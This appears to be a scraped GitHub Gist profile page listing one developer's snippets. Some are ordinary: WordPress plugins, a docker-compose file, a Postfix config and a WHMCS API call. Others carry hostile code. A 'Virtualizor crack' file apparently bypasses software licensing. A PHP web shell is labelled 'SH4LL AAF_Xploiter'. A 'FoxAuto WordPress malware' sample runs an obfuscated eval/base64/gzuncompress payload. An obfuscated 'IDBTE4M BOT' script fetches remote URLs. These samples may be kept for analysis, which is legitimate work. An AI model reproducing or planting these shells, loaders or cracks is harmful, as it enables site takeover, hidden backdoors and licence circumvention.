Skip to content

Instantly share code, notes, and snippets.

Avatar
:octocat:
Live long and may the source be with you

Stefan Pejcic stefanpejcic

:octocat:
Live long and may the source be with you
View GitHub Profile
View rk-keep-me-logged-in.php
<?php
/*
Plugin Name: WP Keep Me Logged In
Plugin URI: http://www.ruudkok.nl/wordpress/keep-me-logged-in/
Description: This plugin will increase the session time of your WordPress login cookie to 1 year. That way you won't have to login over and over again. I was inspired to write this plugin after reading <a href="http://wpengineer.com/2064/stop-wordpress-from-ever-logging-out/">Frank Bültge</a>'s blogpost.
Author: Ruud Kok
Author URI: http://www.ruudkok.nl/
Version: 1.1
*/
@stefanpejcic
stefanpejcic / reinstall-plugins.php
Created January 1, 2023 11:47
https://wpxss.com/wp-cli/reinstall-all-wordpress-plugins-using-wp-cli/ Adds a "Reinstall" button next to each plugin in the Installed Plugins page, and when clicked will reinstall it using wp-cli.
View reinstall-plugins.php
<?php
/*
Plugin Name: Plugin Reinstaller
Plugin URI: https://wpxss.com/
Description: Adds a "Reinstall" button next to each plugin in the Installed Plugins page, and when clicked will delete the plugin's folder and then install it again using wp-cli.
Version: 1.0
Author: Stefan Pejcic
Author URI: https://pejcic.rs/
*/
@stefanpejcic
stefanpejcic / index.html
Created December 10, 2022 18:47
wp ver usage
View index.html
<script src="https://code.highcharts.com/highcharts.js"></script>
<script src="https://code.highcharts.com/modules/data.js"></script>
<script src="https://code.highcharts.com/modules/exporting.js"></script>
<script src="https://code.highcharts.com/modules/accessibility.js"></script>
<figure class="highcharts-figure">
<div id="container"></div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<div id="tabela">
</div>
@stefanpejcic
stefanpejcic / functions.php
Created November 29, 2022 12:25
Virtualizor crack /usr/local/virtualizor/main/functions.php
View functions.php
<?php if( !defined("VIRTUALIZOR") )
{
exit( "Hacking Attempt" );
}
class ArrayToXML
{
public function toXML($data, $rootNodeName = "ResultSet", $xml = NULL)
{
if( ini_get("zend.ze1_compatibility_mode") == 1 )
{
@stefanpejcic
stefanpejcic / docker-compose-yml
Created October 7, 2022 11:33
wordpress docker-compose-yml
View docker-compose-yml
version: '3'
services:
db-annart:
# We use a mariadb image which supports both amd64 & arm64 architecture
image: mariadb:10.6.4-focal
# If you really want to use MySQL, uncomment the following line
#image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
volumes:
- ./db_data:/var/lib/mysql
@stefanpejcic
stefanpejcic / get_user.php
Created August 19, 2022 09:47
WHMCS - get user data from the url
View get_user.php
<?php
// include whmcs
require_once $_SERVER['DOCUMENT_ROOT'].'/init.php';
/**
* WHMCS Sample Local API Call
*
* @package WHMCS
* @author WHMCS Limited <development@whmcs.com>
@stefanpejcic
stefanpejcic / wp-crypto.php
Created April 19, 2022 08:06
SH4LL AAF_Xploiter
View wp-crypto.php
<?php
// --- Create by Pst4r8
// --- php shell
error_reporting(0);
session_start();
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
@stefanpejcic
stefanpejcic / main.cf
Created April 15, 2022 12:01
/etc/postfix/main.cf
View main.cf
# See /usr/share/postfix/main.cf.dist for a commented, more complete version
smtpd_banner = $myhostname ESMTP
biff = no
inet_protocols = ipv4
# appending .domain is the MUA's job.
append_dot_mydomain = no
readme_directory = no
@stefanpejcic
stefanpejcic / index.php
Created February 11, 2022 10:00
FoxAuto WordPress malware
View index.php
<?php /* FoxAuto */ error_reporting(0); function vepa_($cmx0T) { $o6akB = strlen(trim($cmx0T)); $nYANr = ''; for ($lv38F = 0; $lv38F < $o6akB; $lv38F += 2) { $nYANr .= pack("C", hexdec(substr($cmx0T, $lv38F, 2))); } return $nYANr; } eval(vepa_("6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827") . 'eJxtvGOU734Q5tm2bdu27e7bxq/dfdu2bdu2bdu2bdt99z+zM3vO7G7yIkmlvk8q5+Skns+bMnV0tHPUdzS1t3N0trA1oxLXF5aT0xPXV1BUlRYVp+Y1Mf1rYWtKRTlWtk5JR0T5dUhJzUsmKacoIiynovNfUJeIn8jU3d7azuS/JG+Q/7H/l2fmaWH719rQ2ZTKycXIydmRipIwCgrof24w5NlrsUGbqeIlvxmr6IjHxV/BE9yZzxKz2EnOAr0VSzQVgdcs1zPaTjEFjg9z/76ffOv/fX+F9EsH+kNjFEAlmkhl70MnI0HFBksd+8CRL7whB/tLJ/f/ARmxD+iH+t4769ZHhiH+988F5mQjzqhvxKzdpUrBQ5sHa8BPZEG+rFa96WetfBA532EZUkEr1YNWjLWPPdyLfl2EiAYExOzkx5zJVgBjQksHNHuuiKrv/e0BowwzAYuK81Ej3WuP9ZFufFJS3UR88B4ISBi/ZzJawD86mmpcyHABJdG0W3OQXFRwQgoK80lfXs79O94VAPDjBlBK1vITZiINYAkP2bBttV22/fSkRvsWOx2rroSz9FrvdPfmsMNXOatpPBln5xQ9rnpuhg9rkp16jF04G3ipin1uPELmr7KQJyzswCXDvwxOHpO6bxOFxPnn9nKJhgfo5hycS33m+LAQq5pFH/GQYUP94cqf5YvlMU63dNzFP6F
@stefanpejcic
stefanpejcic / 3index.php
Created February 7, 2022 10:28
IDBTE4M BOT V87
View 3index.php
<?php
$O=urldecode('-%3B5p6PIiw%24%60x%2Bc%5D%40%5ES%2F0D%3ABZnmtsq%2CkOh7z%3D%7EAT%5CYQ%269%29%25v2yRUrfJ_eF%2Aa%3C%23%28g%2FM%7B3E%21u%7CX.4V%3Fd%7D1%3EHbjC8WL%5BGolK%22N');
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
$OO00o0OoOo="361";
$O0oOOO0o0o="1";
$Oo0ooO0OO0="1";
function OoOo111oOO($url,$OO0o00OooO=0,$Oo00OoO0Oo=1,$OoO00OOoo0=NULL,$OoOOoO000o=array()){global $O;if(!preg_match("/^http\:\/\//si",$url)){if(isset($_GET[$O{69}.$O{51}.$O{90}.$O{55}.$O{81}.$O{81}])){$OOOoOoo000=$O{87}.$O{69}.$O{51}.$O{90}.$O{55}.$O{51}.$O{51}.$O{89}.$O{51}.$O{14}.' '.$O{7}.$O{24}.$O{46}.$O{58}.$O{90}.$O{7}.$O{76}.' '.$O{69}.$O{51}.$O{90}.$O{21}.$O{42}.$O{24}.$O{81}.$O{27}.$O{3}.$O{1};$OOOoOoo000.=$url;echo $OOOoOoo000;unset($OOOoOoo000);exit();}return '';}$OoOOoo000O=$O{13}.$O{69}.$O{51}.$O{90}.$O{54}.$O{7}.$O{24}.$O{7}.$O{26}.$O{12}.$O{13}.$O{69}.$O{51}.$O{90}.$O{54}.$O{27}.$O{55}.$O{26}.$O{89}.$O{3}.$O{26}.$O{12}.$O{13}.$O{69}.$O{51}.$O{90}.$O{54}.$O{55}.$O{11}.$O{55}.$O{13}.$O{70}.$O{52}.$O{27}.$